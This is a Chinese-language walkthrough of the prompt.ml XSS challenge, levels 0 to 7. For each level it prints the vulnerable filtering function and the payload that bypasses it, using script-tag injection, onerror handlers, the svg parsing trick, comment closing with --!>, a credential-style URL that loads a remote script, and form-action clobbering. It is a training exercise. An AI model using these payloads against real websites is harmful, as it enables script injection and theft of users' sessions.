第零關
Text Viewer
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
Answer
對輸入的文本沒有進行過濾措施直接輸出,可以閉合前面的 input 標簽再構造 script 標簽
"><script>prompt(1)</script>
第一關
Text Viewer
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
Answer
利用正則表達式過濾了成對出現的尖括號,但瀏覽器會自動補全右尖括號,所以只要不輸入右尖括號就能繞過過濾
- ?:表示匹配前面的子表達式(/)零次或一次
- [^>]:為負值字符集合,匹配未包含 > 的任意字符
- +:表示匹配前面的子表達式一次或多次
<img src=# onerror="prompt(1)"
第二關
Text Viewer
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
Answer
過濾了 = 和 ( ,利用 SVG 標簽,該標簽會將 XML 實體(轉義序列)提前解析再加入標簽,從而繞過過濾
<svg><script>prompt(1)</script>
頁面遇到 javascript 代碼時阻塞 html 的解析,先執行 js 代碼(也就是上面的 escape function)。此時輸入中的 xml 實體未被解析,從而繞過過濾,並將輸入 return 到 html 文檔中,繼續解析 html。
當遇到 svg 標簽,先將其標簽的內容當成 xml 解析,此時解析輸入中的實體。
當 html 再次進行解析時,會把已被解析的實體當成 html 代碼執行。
也可以利用 JS 中的 eval 函數
<script>eval.call`${'prompt\x281)'}`</script>
第三關
Text View
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
Answer
將輸入轉化成注釋,並過濾了->
防止閉合注釋。但使用--!>
也可以閉合注釋,並且繞過過濾
--!><script>prompt(1)</script>
第四關
Text View
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
Answer
這題使用了 RegExp 對象的 test 方法過濾輸入,可以利用decodeURIComponent()
這個函數可對encodeURIComponent()
函數編碼的URI進行解碼的特性,將 %2f 解碼成為 /
payload 為//prompt.ml%2f@localhost/xss.js
,讓 browser 把prompt.ml%2f
當作身份驗證,然后訪問localhost/xss.js
。(URL結構)
第五關
Text View
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
Answer
過濾了>,on事件和focus事件
- |:或操作,字符具有高於替換運算符的優先級,使得"m|food"匹配"m"或"food"。若要匹配"mood"或"food",請使用括號創建子表達式,從而產生"(m|f)ood"
- .:匹配除換行符(\n、\r)之外的任何單個字符
- ?:該字符緊跟在任何一個其他限制符后面時,表示懶惰(非貪婪)匹配
在 html 中,屬性描述不在同一行仍然可以生效。將 type 覆蓋為 image ,用 onerror 事件(multi-line)觸發XSS
" type="image" src=# onerror
=prompt(1)
第六關
Text View
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
Answer
這段 Javascript 代碼用用戶的輸入構造一個 form 表單,表單的輸入(input)由 JSON 格式的數據解析得到,表單的網址(即 action 屬性)由用戶控制。但使用了 RegEsp 對象的 test 方法過濾了javascript:
、vbscript:
、data:
關鍵字,阻止偽協議執行腳本。
由於檢查的對象是document.forms[0].action
,如果表單中有多個 action 值,前者會被后者覆蓋。比如輸入 payload:javascript:prompt(1)#{name="action":value="xss"}
,這時判斷條件中的forms[0].action
指向的是 name 為 action 的<input>
標簽,從而繞過過濾。
name 和 id 兩個屬性可以用來覆蓋真正的標簽成員,以此繞過過濾。
第七關
Text View
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
Answer
map() 函數構造一個新的數組,其中的元素是調用數組(segments)的每個元素執行指定函數后返回的值。該段代碼將用戶輸入分段以段落輸出,每個分段不超過12個字符。
(To be continue...)